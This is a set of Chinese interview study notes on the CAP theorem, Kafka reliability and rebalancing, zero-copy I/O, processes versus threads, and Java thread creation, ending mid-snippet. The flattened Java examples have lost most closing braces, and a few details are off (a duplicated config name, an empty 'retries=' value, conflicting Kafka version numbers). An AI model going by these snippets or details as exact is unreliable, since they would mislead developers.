分布式系统出现网络分区的时候,仍然能够对外提供服务。什么是网络分区?分布式系统中,多个节点之前的网络本来是连通的,但是因为某些故障(比如部分节点网络出了问题)某些节点之间不连通了,整个网络就分成了几块区域,这就叫网络分区。不是所谓的“3 选 2”大部分人解释这一定律时,常常简单的表述为:“一致性、可用性、分区容忍性三者你只能同时达到其中两个,不可能同时达到”。实际上这是一个非常具有误导性质的说法,而且在 CAP 理论诞生 12 年之后,CAP 之父也在 2012 年重写了之前的论文。当发生网络分区的时候,如果我们要继续服务,那么强一致性和可用性只能 2 选 1。也就是说当网络分区之后 P 是前提,决定了 P 之后才有 C 和 A 的选择。也就是说分区容错性(Partition tolerance)我们是必须要实现的。简而言之就是:CAP 理论中分区容错性 P 是一定要满足的,在此基础上,只能满足可用性 A 或者一致性 C。因此,分布式系统理论上不可能选择 CA 架构,只能选择 CP 或者 AP 架构。 比如 ZooKeeper、HBase 就是 CP 架构,Cassandra、Eureka 就是 AP 架构,Nacos 不仅支持 CP 架构也支持 AP 架构。为啥不可能选择 CA 架构呢? 举个例子:若系统出现“分区”,系统中的某个节点在进行写操作。为了保证 C, 必须要禁止其他节点的读写操作,这就和 A 发生冲突了。如果为了保证 A,其他节点的读写操作正常的话,那就和 C 发生冲突了。*选择 CP 还是 AP 的关键在于当前的业务场景,没有定论,比如对于需要确保强一致性的场景如银行一般会选择保证 CP *。另外,需要补充说明的一点是: 如果网络分区正常的话(系统在绝大部分时候所处的状态),也就说不需要保证 P 的时候,C 和 A 能够同时保证。CAP 实际应用案例我这里以注册中心来探讨一下 CAP 的实际应用。考虑到很多小伙伴不知道注册中心是干嘛的,这里简单以 Dubbo 为例说一说。下图是 Dubbo 的架构图。注册中心 Registry 在其中扮演了什么角色呢?提供了什么服务呢?注册中心负责服务地址的注册与查找,相当于目录服务,服务提供者和消费者只在启动时与注册中心交互,注册中心不转发请求,压力较小。常见的可以作为注册中心的组件有:ZooKeeper、Eureka、Nacos...。1. ZooKeeper 保证的是 CP。 任何时刻对 ZooKeeper 的读请求都能得到一致性的结果,但是, ZooKeeper 不保证每次请求的可用性比如在 Leader 选举过程中或者半数以上的机器不可用的时候服务就是不可用的。2. Eureka 保证的则是 AP。 Eureka 在设计的时候就是优先保证 A (可用性)。在 Eureka 中不存在什么 Leader 节点,每个节点都是一样的、平等的。因此 Eureka 不会像 ZooKeeper 那样出现选举过程中或者半数以上的机器不可用的时候服务就是不可用的情况。 Eureka 保证即使大部分节点挂掉也不会影响正常提供服务,只要有一个节点是可用的就行了。只不过这个节点上的数据可能并不是最新的。3. Nacos 不仅支持 CP 也支持 AP。总结在进行分布式系统设计和开发时,我们不应该仅仅局限在 CAP 问题上,还要关注系统的扩展性、可用性等等在系统发生“分区”的情况下,CAP 理论只能满足 CP 或者 AP。要注意的是,这里的前提是系统发生了“分区”如果系统没有发生“分区”的话,节点间的网络连接通信正常的话,也就不存在 P 了。这个时候,我们就可以同时保证 C 和 A 了。总结:如果系统发生“分区”,我们要考虑选择 CP 还是 AP。如果系统没有发生“分区”的话,我们要思考如何保证 CA 。
kafka的工作流程是怎么样的?1.首先一个kafka集群有很多个kafka的服务器,每个kafka服务器就是一个broker,每一类消息有一个topic,生产者将一个消息发送给broker。2.每个topic会有一个或者多个分区,broker根据分发机制将这个消息分给这个topic下的某个分区的leader,分发机制:1.发的消息指定了分区就发到特定分区下2.指定了key,就根据murmur2 哈希算法对key计算得到一个哈希值,将哈希值与分区数量取余,得到分区。3.没有指定分区,也没有指定key,那么就根据一个自增计数与分区数取余得到分区,这样可以让消息分发在每个分区更加均匀。3.每个分区就是一个目录,目录名是topic+分区编号,在收到消息后会将消息写入到日志文件中,如果一个分区的消息都有存放在一个日志文件中,那么文件会比较大,查询时会比较慢,而且也不便于之后删除旧的消息。所以每个分区对应多个大小相等的segment文件,每个segment的名称是上一个segment最后一条消息的offset,一个segment有两个文件,一个是.index文件,记录了消息的offset及这条消息数据在log文件中的偏移量。一个是.log文件,实际存储每个消息数据,每条消息数据大小不一,每条消息数据包含offset,消息体大小,消息体等等内容。查的时候根据offset先去index文件找到偏移量,然后去log文件中读。(具体的segment切分有很多个触发条件:当log文件>log.segment.bytes时切分,默认是1G。或者是segment文件中最早的消息距离现在的时间>log.roll.ms配置的时间,默认是7天。或者是索引文件index>log.index.size.max.bytes的大小,默认是10M。)4.分区leader将消息存储到日志文件中后还不能算是写成功,会把消息同步给所有follower,当follower同步好消息之后就会给leader发ack,leader收到所有follower返回的ack之后,这条才算是写成功,然后才会给生产者返回写成功。(依据ACK配置来决定多少follower同步成功才算生产者发送消息成功)5.消费者读数据时就去分区的leader中去读,一个消费者可以消费多个分区,但是一个分区只能一个消费者来消费,默认消费者取完数据就会自动提交,一般会关闭自动提交,消费者消费成功后,进行手动提交,分区的offset才会向后移动。(默认是会自动提交,一般会关闭自动提交)注意事项:1.replication.factor>=2,也就是一个分区至少会有两个副本。2.min.insync.replicas默认是1,leader至少要有一个follow跟自己保持联系没有掉线。(这个配置只有在ack为all或者-1时有用,也就是ack为all也只是要求生产者发送的消息,被leader以及ISR集合里面的从节点接收到,就算所有节点都接收到了。)3.一般设置了ack=all就不会丢数据。因为会保证所有的follower都收到消息,才算broker接收成功,默认ack=1。4.retries=,生产者写入消息失败后的重试次数。5.每个partition有一个offset,6.生产者ACK配置:1(默认) 数据发送到Kafka后,经过leader成功接收消息的的确认,就算是发送成功了。在这种情况下,如果leader宕机了,则会丢失数据。0 生产者将数据发送出去就不管了,不去等待任何返回。这种情况下数据传输效率最高,但是数据可靠性确是最低的。-1 也就是all,producer需要等待ISR中的所有follower都确认接收到数据后才算一次发送完成,可靠性最高。怎么防止Kafka 丢数据?这块比较常见的一个场景,就是 Kafka 某个 broker 宕机,然后重新选举 partition 的 leader 。大家想想,要是此时其他的 follower 刚好还有些数据没有同步,结果此时 leader 挂了,然后选举某个 follower 成 leader 之后,不就少了一些数据?这就丢了一些数据啊。此时一般是要求起码设置如下 4 个参数:给 topic 设置 replication.factor 参数:这个值必须大于 1,要求每个 partition 必须有 至少 2 个副本。在 Kafka 服务端设置 min.insync.replicas 参数:这个值必须大于 1,这个是 要求一个 leader 至少感知到有至少一个 follower 还跟自己保持联系,没掉队,这样才能确保 leader 挂了还有一个 follower 吧。在 producer 端设置 acks=all:这个是要求每条数据,必须是写入所有 replica 之后,才能认为是写成功了。在 producer 端设置 retries=MAX(很大很大很大的一个值,无限次重试的意思):这个是要求一旦写入失败,就无限重试,卡在这里了。这样配置之后,至少在Kafka broker 端就可以保证在leader 所在 broker 发生故障,进行leader 切换时,数据不会丢失。生产者会不会弄丢数据?如果按照上述的思路设置了acks=all,一定不会丢,要求是,你的 leader 接收到消息,所有的follower 都同步到了消息之后,才认为本次写成功了。如果没满足这个条件,生产者可以自动不断的重试,重试无限次。怎么实现 Exactly-Once?生产端幂等性发送为了实现Producer的幂等语义,Kafka引入了Producer ID(即PID)和Sequence Number。每个新的Producer在初始化的时候会被分配一个唯一的PID,该PID对用户完全透明而不会暴露给用户。对于每个PID,该Producer发送数据的每个<Topic, Partition>都对应一个从0开始单调递增的Sequence Number。类似地,Broker端也会为每个<PID, Topic, Partition>维护一个序号,并且每次Commit一条消息时将其对应序号递增。对于接收的每条消息,如果其序号比Broker维护的序号(即最后一次Commit的消息的序号)大一,则Broker会接受它,否则将其丢弃:如果消息序号比Broker维护的序号大一以上,说明中间有数据尚未写入,也即乱序,此时Broker拒绝该消息,Producer抛出InvalidSequenceNumber如果消息序号小于等于Broker维护的序号,说明该消息已被保存,即为重复消息,Broker直接丢弃该消息,Producer抛出DuplicateSequenceNumber上述设计解决了0.11.0.0之前版本中的两个问题:Broker保存消息后,发送ACK前宕机,Producer认为消息未发送成功并重试,造成数据重复前一条消息发送失败,后一条消息发送成功,前一条消息重试后成功,造成数据乱序。http://www.jasongj.com/kafka/transaction/消费端幂等性只能自己从业务层面保证重复消费的幂等性,例如引入版本号机制。事务性保证上述幂等设计只能保证单个Producer对于同一个<Topic, Partition>的Exactly Once语义。另外,它并不能保证写操作的原子性——即多个写操作,要么全部被Commit要么全部不被Commit。更不能保证多个读写操作的的原子性。尤其对于Kafka Stream应用而言,典型的操作即是从某个Topic消费数据,经过一系列转换后写回另一个Topic,保证从源Topic的读取与向目标Topic的写入的原子性有助于从故障中恢复。事务保证可使得应用程序将生产数据和消费数据当作一个原子单元来处理,要么全部成功,要么全部失败,即使该生产或消费跨多个<Topic, Partition>。另外,有状态的应用也可以保证重启后从断点处继续处理,也即事务恢复。为了实现这种效果,应用程序必须提供一个稳定的(重启后不变)唯一的ID,也即Transaction ID。Transactin ID与PID可能一一对应。区别在于Transaction ID由用户提供,而PID是内部的实现对用户透明。另外,为了保证新的Producer启动后,旧的具有相同Transaction ID的Producer即失效,每次Producer通过Transaction ID拿到PID的同时,还会获取一个单调递增的epoch。由于旧的Producer的epoch比新Producer的epoch小,Kafka可以很容易识别出该Producer是老的Producer并拒绝其请求。有了Transaction ID后,Kafka可保证:跨Session的数据幂等发送。当具有相同Transaction ID的新的Producer实例被创建且工作时,旧的且拥有相同Transaction ID的Producer将不再工作。跨Session的事务恢复。如果某个应用实例宕机,新的实例可以保证任何未完成的旧的事务要么Commit要么Abort,使得新实例从一个正常状态开始工作。需要注意的是,上述的事务保证是从Producer的角度去考虑的。从Consumer的角度来看,该保证会相对弱一些。尤其是不能保证所有被某事务Commit过的所有消息都被一起消费,因为:对于压缩的Topic而言,同一事务的某些消息可能被其它版本覆盖事务包含的消息可能分布在多个Segment中(即使在同一个Partition内),当老的Segment被删除时,该事务的部分数据可能会丢失Consumer在一个事务内可能通过seek方法访问任意Offset的消息,从而可能丢失部分消息Consumer可能并不需要消费某一事务内的所有Partition,因此它将永远不会读取组成该事务的所有消息消息队列的使用场景有哪些?异步通信:有些业务不想也不需要立即处理消息。消息队列提供了异步处理机制,允许用户把一个消息放入队列,但并不立即处理它。想向队列中放入多少消息就放多少,然后在需要的时候再去处理它们。解耦:降低工程间的强依赖程度,针对异构系统进行适配。在项目启动之初来预测将来项目会碰到什么需求,是极其困难的。通过消息系统在处理过程中间插入了一个隐含的、基于数据的接口层,两边的处理过程都要实现这一接口,当应用发生变化时,可以独立的扩展或修改两边的处理过程,只要确保它们遵守同样的接口约束冗余:有些情况下,处理数据的过程会失败。除非数据被持久化,否则将造成丢失。消息队列把数据进行持久化直到它们已经被完全处理,通过这一方式规避了数据丢失风险。许多消息队列所采用的"插入-获取-删除"范式中,在把一个消息从队列中删除之前,需要你的处理系统明确的指出该消息已经被处理完毕,从而确保你的数据被安全的保存直到你使用完毕。扩展性:因为消息队列解耦了你的处理过程,所以增大消息入队和处理的频率是很容易的,只要另外增加处理过程即可。不需要改变代码、不需要调节参数。便于分布式扩容过载保护:在访问量剧增的情况下,应用仍然需要继续发挥作用,但是这样的突发流量无法提取预知;如果以为了能处理这类瞬间峰值访问为标准来投入资源随时待命无疑是巨大的浪费。使用消息队列能够使关键组件顶住突发的访问压力,而不会因为突发的超负荷的请求而完全崩溃可恢复性:系统的一部分组件失效时,不会影响到整个系统。消息队列降低了进程间的耦合度,所以即使一个处理消息的进程挂掉,加入队列中的消息仍然可以在系统恢复后被处理。顺序保证:在大多使用场景下,数据处理的顺序都很重要。大部分消息队列本来就是排序的,并且能保证数据会按照特定的顺序来处理。缓冲:在任何重要的系统中,都会有需要不同的处理时间的元素。消息队列通过一个缓冲层来帮助任务最高效率的执行,该缓冲有助于控制和优化数据流经过系统的速度。以调节系统响应时间。数据流处理:分布式系统产生的海量数据流,如:业务日志、监控数据、用户行为等,针对这些数据流进行实时或批量采集汇总,然后进行大数据分析是当前互联网的必备技术,通过消息队列完成此类数据收集是最好的选择MQ缺点系统可用性降低:系统引入的外部依赖越多,越容易挂掉。本来你就是 A 系统调用 BCD 三个系统的接口就好了, ABCD 四个系统好好的,没啥问题,你偏加个 MQ 进来,万一 MQ 挂了咋整,MQ 一挂,整套系统崩溃的,你不就完了?如何保证消息队列的高可用。系统复杂度提高:硬生生加个 MQ 进来,你怎么保证消息没有重复消费?怎么处理消息丢失的情况?怎么保证消息传递的顺序性?头大头大,问题一大堆,痛苦不已。一致性问题: A 系统处理完了直接返回成功了,人都以为你这个请求就成功了;但是问题是,要是 BCD 三个系统那里, BD 两个系统写库成功了,结果 C 系统写库失败了,咋整?你这数据就不一致了。ISR是什么?ISR(in-sync replica) 就是 Kafka 为某个分区维护的一组同步集合,即每个分区都有自己的一个 ISR 集合,就是从分区的从节点中找出一些节点加入到ISR集合(min.insync.replicas这个参数设定ISR中的最小副本数是多少,默认值为1)。处于 ISR 集合中的副本,意味着 follower 副本与 leader 副本保持同步状态,只有处于 ISR 集合中的副本才有资格被选举为 leader。follower从leader同步数据有一些延迟(延迟时间replica.lag.time.max.ms),一旦超过延迟时间,就会把这个这个follower从ISR列表中移除。被移除的followe会从leader复制数据进行追赶,一旦追赶上又可以重新进入ISR列表。一条 Kafka 消息,只有被 ISR 中的副本都接收到,才被视为“已同步”状态。这跟 zk 的同步机制不一样,zk 只需要超过半数节点写入,就可被视为已写入成功。什么是零拷贝技术?传统的IO接口像read和write系统调用,在执行过程中都是涉及到数据拷贝操作的,比如调用read()接口去读取一个文件时,首先需要将CPU由用户切换成内核态,然后把文件从磁盘读取到read()和write()read()系统调用的步骤:1.会涉及到到一次用户态到内核态的切换,然后会发出 sys_read()系统调用,从文件读取数据。(一次上下文切换) 2.磁盘控制器会使用DMA技术将磁盘文件拷贝到内核内存空间的缓冲区。(一次DMA拷贝) 3.CPU会将数据从内核内存空间的缓冲区拷贝到用户进程内存空间的缓冲区。(一次CPU拷贝) 4.然后read()系统调用返回后,会进行内核态往用户态的切换,这样用户程序进程就可以修改数据了。(一次上下文切换)write()系统调用的步骤:1.首先会涉及CPU从用户态切换到内核态,然后会将数据从用户程序的内存空间拷贝到内核内存空间中的Socket缓冲区。(一次上下文切换,一次CPU拷贝) 2.网卡会使用DMA技术,将数据从内核内存空间中的缓冲区拷贝到网卡。(一次DMA拷贝) 3.write()调用完成后会从内核态切换到用户态。(一次上下文切换)2.MMAP和write()mmap1.CPU从用户态切换到内核态,磁盘控制器使用DMA技术将数据从磁盘拷贝到内核的内存空间。不会将数据拷贝到用户程序的内存空间,而是将一块物理内存让用户进程的空间与内核空间进行共享,将内核中的这部分内存空间映射到用户进程的内存空间,从而让用户进程可以直接访问这部分内存。(一次上下文切换,一次DMA拷贝)2.mmap调用完毕后,CPU会从内核态切换到用户态。(一次上下文切换)mmap相比于read()系统调用还是会有2次上下文切换,但是可以减少一次CPU拷贝,因为数据是存在内核的内存空间中。write1.首先CPU从用户态切换到内核态,然后把数据从内核的内存空间拷贝到内核中Socket缓冲区。(一次上下文切换,一次CPU拷贝)2.网卡使用DMA技术,将数据从Socket缓冲区拷贝到网卡。发送完毕后,从内核态切换为用户态。(一次上下文切换,一次DMA拷贝)https://mp.weixin.qq.com/s/xDZ9NnyUZSoR9npuMLdpWAhttps://blog.csdn.net/choumu8867/article/details/100658332sendfile这种方式只能用于发送文件,不能修改文件,在Kakfa发送消息给消费者时有用到。读取时:1.首先CPU从用户态切换成内核态,然后磁盘控制器使用DMA技术将文件从磁盘拷贝到内核空间的缓冲区中。(一次上下文切换,一次DMA拷贝)发送时:2.早期的版本是将数据从内核空间中的缓存区拷贝到内核空间的Socket缓冲区,在Linux 2.4以后,是只需要将数据在内核空间的文件数据缓存中的位置和偏移量写入到Socket缓存中,然后网卡直接从Socket缓存中读取文件的位置和偏移量,使用DMA技术拷贝到网卡。发送完毕后,从内核态切换为用户态。(一次上下文切换,一次DMA拷贝。)总结:传统read()和write()方案:数据拷贝了4次,CPU上下文切换了很多次mmap和write()方案:数据拷贝了3次,会减少一次CPU拷贝,上下文切换了4次。(可以减少1次CPU拷贝)sendfile方案:数据拷贝了2次,上下文切换了2次。但是用户进程不能修改数据。(可以减少2次CPU拷贝,至少2次上下文切换)Kafka刷盘时机是怎么样的?log.flush.interval.messages 最大刷盘消息数量 log.flush.interval.interval.ms 最大刷盘时间间隔 log.flush.scheduler.interval.ms 定期刷盘间隔 可以通过设置 最大刷盘消息数量 和 最大刷盘时间间隔 来控制fsync系统调用的时间,但是Kafka不推荐去设置这些参数,希望让操作系统来决定刷盘的时机,这样可以支持更高的吞吐量。而且Kafka保证可用性是通过多副本来实现的,一个机器挂掉了就会选举副本作为leader。Kafka什么时候进行rebalance?1.topic下分区的数量增加了或者减少了。(这个一般是我们手动触发的)2.消费者的数量发生了改变,例如新增加了消费者或者有消费者挂掉了。 Kafka有一个session.timeout.ms,最大会话超时时间,最长是10s。就是如果broker与消费者之间的心跳包超过10s还没有收到回应,就会认为消费者掉线了。以及还有一个max.poll.interval.ms参数,消费者两次去broker拉取消息的间隔,默认是5分钟。如果消费者两次拉取消息的间隔超过了5分钟,就会认为消费者掉线了。一旦发生rebalance了,有可能会导致重复消费的问题,就是消费者A拉取了100条消息,消费时间超过了5分钟,被broker认定下线,就会进行rebalance,把这个分区分配给其他消费者消费,其他消费者就会进行重复消费。怎么解决rebalance带来的重复消费问题呢?1.可以减少每批消息的处理时间,让每条消息的处理时间减少,或者是修改max.poll.records,减小每次拉取消息的数量。2.可以自行在MySQL或者Redis里面存储每个分区消费的offset,然后消费者去一个新的分区拉取消息时先去读取上次消费的offset。3.为消息分配一个唯一的消息id,通过消息id来判定是否重复消费了。kafka 1.1的优化新版本新增了group.initial.rebalance.delay.ms参数。空消费组接受到成员加入请求时,不立即转化到PreparingRebalance状态来开启reblance。当时间超过group.initial.rebalance.delay.ms后,再把group状态改为PreparingRebalance(开启reblance),这样可以避免服务启动时,consumer陆续加入引起的频繁Rebalance。Kafka2.3对reblance的优化但对于运行过程中,consumer超时或重启引起的reblance则无法避免,其中一个原因就是,consumer重启后,它的身份标识会变。简单说就是Kafka不确认新加入的consumer是否是之前挂掉的那个。在Kafka2.0中引入了静态成员ID,使得consumer重新加入时,可以保持旧的标识,这样Kafka就知道之前挂掉的consumer又恢复了,从而不需要Reblance。这样做的好处有两个:降低了Kafka Reblance的频率即使发生Reblance,Kafka尽量让其他consumer保持原有的partition,减少了重分配引来的耗时、幂等等问题https://blog.csdn.net/weixin_37968613/article/details/104607012https://blog.csdn.net/z69183787/article/details/105138782https://zhuanlan.zhihu.com/p/87577979https://www.cnblogs.com/runnerjack/p/12108132.htmlkafka的选举机制https://blog.csdn.net/qq_37142346/article/details/91349100https://honeypps.com/mq/kafka-basic-knowledge-of-selection/
多线程专题进程与线程的区别是什么?批处理操作系统批处理操作系统就是把一系列需要操作的指令写下来,形成一个清单,一次性交给计算机。用户将多个需要执行的程序写在磁带上,然后交由计算机去读取并逐个执行这些程序,并将输出结果写在另一个磁带上。批处理操作系统在一定程度上提高了计算机的效率,但是由于批处理操作系统的指令运行方式仍然是串行的,内存中始终只有一个程序在运行,后面的程序需要等待前面的程序执行完成后才能开始执行,而前面的程序有时会由于I/O操作、网络等原因阻塞,导致CPU闲置所以批处理操作效率也不高。进程的提出批处理操作系统的瓶颈在于内存中只存在一个程序,进程的提出,可以让内存中存在多个程序,每个程序对应一个进程,进程是操作系统资源分配的最小单位。CPU采用时间片轮转的方式运行进程:CPU为每个进程分配一个时间段,称作它的时间片。如果在时间片结束时进程还在运行,则暂停这个进程的运行,并且CPU分配给另一个进程(这个过程叫做上下文切换)。如果进程在时间片结束前阻塞或结束,则CPU立即进行切换,不用等待时间片用完。多进程的好处在于一个在进行IO操作时可以让出CPU时间片,让CPU执行其他进程的任务。线程的提出随着计算机的发展,对CPU的要求越来越高,进程之间的切换开销较大,已经无法满足越来越复杂的程序的要求了。于是就发明了线程,线程是程序执行中一个单一的顺序控制流程,是程序执行流的最小单元,是处理器调度和分派的基本单位。一个进程可以有一个或多个线程,各个线程之间共享程序的内存空间(也就是所在进程的内存空间)。进程和线程的区别进程是计算机中已运行程序的实体,进程是操作系统资源分配的最小单位。而线程是在进程中执行的一个任务,是CPU调度和执行的最小单位。他们两个本质的区别是是否单独占有内存地址空间及其它系统资源(比如I/O):进程单独占有一定的内存地址空间,所以进程间存在内存隔离,数据是分开的,数据共享复杂但是同步简单,各个进程之间互不干扰;而线程共享所属进程占有的内存地址空间和资源,数据共享简单,但是同步复杂。进程单独占有一定的内存地址空间,一个进程出现问题不会影响其他进程,不影响主程序的稳定性,可靠性高;一个线程崩溃可能影响整个程序的稳定性,可靠性较低。进程单独占有一定的内存地址空间,进程的创建和销毁不仅需要保存寄存器和栈信息,还需要资源的分配回收以及页调度,开销较大;线程只需要保存寄存器和栈信息,开销较小。另外一个重要区别是,进程是操作系统进行资源分配的基本单位,而线程是操作系统进行调度的基本单位,即CPU分配时间的单位 。独立性Linux系统会给每个进程分配4G的虚拟地址空间(0到3G是User地址空间,3到4G部分是kernel地址空间),进程具备私有的地址空间,未经允许,一个用户进程不能访问其他进程的地址空间。动态性程序是一个静态的指令集合,而进程是正在操作系统中运行的指令集合,进程有自己的生命周期和各种不同的状态。五态模型一般指的是:新建态(创建一个进程)就绪态(已经获取到资源,准备好了,进入运行队列,一旦获得时间片可以立即执行)运行态(获取到了时间片,执行程序)阻塞态(运行过程中等待获取其他资源,I/O请求等)终止态(进程被杀死了)并发性多个进程可以在CPU上并发执行。 线程是独立运行和调度的最小单位,线程会共享进程的虚拟空间,一个进程会对应多个线程。在Java中,线程拥有自己私有的程序计数器,虚拟机栈,本地方法栈。PS:虚拟内存虚拟内存是一种逻辑上扩充物理内存的技术。基本思想是用软、硬件技术把内存与外存这两级存储器当做一级存储器来用。虚拟内存技术的实现利用了自动覆盖和交换技术。简单的说就是将硬盘的一部分作为内存来使用。PS:虚拟地址空间每个进程有4G的地址空间,在运行程序时,只有一部分数据是真正加载到内存中的,内存管理单元将虚拟地址转换为物理地址,如果内存中不存在这部分数据,那么会使用页面置换方法,将内存页置换出来,然后将外存中的数据加入到内存中,使得程序正常运行。进程间如何通信?进程间通信的方式主要有管道,管道调用pipe函数在内存中开辟一块缓冲区,管道半双工的(即数据只能在一个方向上流动),具有固定的读端和写端,调用#include <unistd.h> int pipe(int pipefd[2]);Java中创建线程有哪些方式?第一种 继承Thread类,重写Run方法这种方法就是通过自定义CustomThread类继承Thread类,重写run()方法,然后创建CustomThread的对象,然后调用start()方法,JVM会创建出一个新线程,并且为线程创建方法调用栈和程序计数器,此时线程处于就绪状态,当线程获取CPU时间片后,线程会进入到运行状态,会去调用run()方法。并且创建CustomThread类的对象的线程(这里的例子中是主线程)与调用run()方法的线程之间是并发的,也就是在执行run()方法时,主线程可以去执行其他操作。class CustomThread extends Thread { public static void main(String[] args) { System.out.println(Thread.currentThread().getName()+"线程调用了main方法"); for (int i = 0; i < 10; i++) { if (i == 1) { CustomThread customThread = new CustomThread(); customThread.start(); System.out.println(Thread.currentThread().getName()+"线程--i是"+i); System.out.println("main()方法执行完毕!"); void run() { System.out.println(Thread.currentThread().getName()+"线程调用了run()方法"); for (int j = 0; j < 5; j++) { System.out.println(Thread.currentThread().getName()+"线程--j是"+j); System.out.println("run()方法执行完毕!"); }输出结果如下:main线程调用了main方法 Thread-0线程调用了run()方法 Thread-0线程--j是0 main线程--i是1 Thread-0线程--j是2 Thread-0线程--j是3 Thread-0线程--j是4 run()方法执行完毕! main()方法执行完毕!可以看到在创建一个CustomThread对象,调用start()方法后,Thread-0调用了run方法,进行for循环,对j进行打印,与此同时,main线程并没有被阻塞,而是继续执行for循环,对i进行打印。执行原理首先我们可以来看看start的源码,首先会判断threadStatus是否为0,如果不为0会抛出异常。然后会将当前对象添加到线程组,最后调用start0方法,因为是native方法,看不到源码,根据上面的执行结果来看,JVM新建了一个线程调用了run方法。private native void start0(); public synchronized void start() { //判断当前Thread对象是否是新建态,否则抛出异常 if (threadStatus != 0) throw new IllegalThreadStateException(); //将当前对象添加到线程组 group.add(this); boolean started = false; try { start0();//这是一个native方法,调用后JVM会新建一个线程来调用run方法 started = true; } finally { try { if (!started) { group.threadStartFailed(this); } catch (Throwable ignore) { /* do nothing. If start0 threw a Throwable then it will be passed up the call stack */ }扩展问题:多次调用Thread对象的start()方法会怎么样?会抛出IllegalThreadStateException异常。其实在Thread#start()方法里面的的注释中有提到,多次调用start()方法是非法的,所以在上面的start()方法源码中一开始就是对threadStatus进行判断,不为0就会抛出IllegalThreadStateException异常。注意事项:start()方法中判断threadStatus是否为0,是判断当前线程是否新建态,0是代表新建态(上图中的源码注释里面有提到),而不是就绪态,因为Java的Thread类中,Thread的Runnable状态包括了线程的就绪态和运行态,(Thread的state为RUNNABLE时(也就是threadStatus为4时),代表线程为就绪态或运行态)。执行start()方法的线程还不是JVM新建的线程,所以不是就绪态。有一些技术文章把这里弄错了,例如这一篇《深入浅出线程Thread类的start()方法和run()方法》总结这种方式的缺点很明显,就是需要继承Thread类,而且实际上我们的需求可能仅仅是希望某些操作被一个其他的线程来执行,所以有了第二种方法。第二种 实现Runnable接口这种方式就是创建一个类(例如下面代码中的Target类),实现Runnable接口的Run方法,然后将Target类的实例对象作为Thread的构造器入参target,实际的线程对象还是Thread实例,只不过线程Thread与线程执行体(Target类的run方法)分离了,耦合度更低一些。class ThreadTarget implements Runnable { void run() { System.out.println(Thread.currentThread().getName()+"线程执行了run方法"); public static void main(String[] args) { System.out.println(Thread.currentThread().getName()+"线程执行了main方法"); ThreadTarget target = new ThreadTarget(); Thread thread = new Thread(target); thread.start(); }输出结果如下:原理之所以有这种实现方法,是因为Thread类的run()方法中会判断成员变量target是否为空,不为空就会调用target类的run方法。private Runnable target; public void run() { if (target != null) { target.run(); }另外一种写法这种实现方式也有其他的写法,可以不创建Target类。匿名内部类可以不创建Target类,可以使用匿名内部类的方式来实现,因此上面的代码也可以按以下方式写:Thread thread = new Thread(new Runnable() { @Override public void run() { System.out.println(Thread.currentThread().getName()+"线程执行了run方法"); thread.start();Lamda表达式在Java8之后,使用了@FunctionalInterface注解来修饰Runnable接口,表明Runnable接口是一个函数式接口,有且只有一个抽象方法,可以Lambda方式来创建Runnable对象,比使用匿名类的方式更加简洁一些。@FunctionalInterface public interface Runnable { public abstract void run(); }因此上面的代码也可以按以下方式写:Thread thread = new Thread(()->{ System.out.println(Thread.currentThread().getName()+"线程执行了run方法"); thread.start()总结这种写法不用继承Thread,但是同样也有缺点,就是线程方法体(也就是run方法)不能设置返回值。第三种 实现Callable接口Runnable接口中的run()方法是没有返回值,如果我们需要执行的任务带返回值就不能使用Runnable接口。创建一个类CallableTarget,实现Callable接口,实现带有返回值的call()方法,然后根据CallableTarget创建一个任务FutureTask,然后根据FutureTask来创建一个线程Thread,调用Thread的start方法可以执行任务。public class CallableTarget implements Callable<Integer> { public Integer call() throws InterruptedException { System.out.println(Thread.currentThread().getName()+"线程执行了call方法"); Thread.sleep(5000); return 1; public static void main(String[] args) throws ExecutionException, InterruptedException { System.out.println(Thread.currentThread().getName()+"线程执行了main方法"); CallableTarget callableTarget = new CallableTarget(); FutureTask<Integer> task = new FutureTask<Integer>(callableTarget); Thread thread = new Thread(task); thread.start(); Integer result = task.get();//当前线程会阻塞,一直等到结果返回。 System.out.println("执行完毕,打印result="+result); System.out.println("执行完毕"); }原理就是Thread类默认的run()方法实现是会去调用自身实例变量target的run()方法,(target就是我们构造Thread传入的FutureTask),而FutureTask的run方法中就会调用Callable接口的实例的call()方法。//Thread类的run方法实现 @Override public void run() { if (target != null) { //这里target就是我们在创建Thread时传入的FutureTask实例变量 target.run(); //FutureTask类的run方法实现 public void run() { if (state != NEW || !UNSAFE.compareAndSwapObject(this, runnerOffset, null, Thread.currentThread())) return; try { Callable<V> c = callable; if (c != null && state == NEW) { V result; boolean ran; try { //在这里会调用Callable实例的call方法 result = c.call(); ran = true; } catch (Throwable ex) { result = null; ran = false; setException(ex); if (ran) set(result); } finally { // runner must be non-null until state is settled to // prevent concurrent calls to run() runner = null; // state must be re-read after nulling runner to prevent // leaked interrupts int s = state; if (s >= INTERRUPTING) handlePossibleCancellationInterrupt(s); }Java中的Runnable、Callable、Future、FutureTask的区别和联系?最原始的通过新建线程执行任务的方法就是我们去新建一个类,继承Thread,然后去重写run()方法,但是这样限制太大了,Java也不支持多继承。所以有了Runnable。RunnableRunnable是一个接口,只需要新建一个类实现这个接口,然后重写run方法,将该类的实例作为创建Thread的入参,线程运行时就会调用该实例的run方法。@FunctionalInterfacepublic interface Runnable { public abstract void run(); }Thread.start()方法->Thread.run()方法->target.run()方法CallableCallable跟Runnable类似,也是一个接口。只不过它的call方法有返回值,可以供程序接收任务执行的结果。@FunctionalInterfacepublic interface Callable<V> { V call() throws Exception; }FutureFuture也是一个接口,Future就像是一个管理的容器一样,进一步对Runable和Callable的实例进行封装,定义了一些方法。取消任务的cancel()方法,查询任务是否完成的isDone()方法,获取执行结果的get()方法,带有超时时间来获取执行结果的get()方法。public interface Future<V> { //mayInterruptIfRunning代表是否强制中断 //为true,如果任务已经执行,那么会调用Thread.interrupt()方法设置中断标识 //为false,如果任务已经执行,就只会将任务状态标记为取消,而不会去设置中断标识 boolean cancel(boolean mayInterruptIfRunning); boolean isCancelled(); boolean isDone(); V get() throws InterruptedException, ExecutionException; V get(long timeout, TimeUnit unit) throws InterruptedException, ExecutionException, TimeoutException; }FutureTask因为Future只是一个接口,并不能实例化,可以认为FutureTask就是Future接口的实现类,FutureTask实现了RunnableFuture接口,而RunnableFuture接口继承Runnable接口和Future接口。public class FutureTask<V> implements RunnableFuture<V> { public interface RunnableFuture<V> extends Runnable, Future<V> { void run(); }使用案例使用时,Runnable实现类的实例可以作为Thread的入参使用,而Callable只能使用FutureTask进行封装使用。//Runnable配合Thread进行使用 Thread threadA = new Thread(new Runnable() { @Override public void run() { //任务的代码 //Callable使用FutureTask封装后,配合线程池进行使用 ExecutorService pool = 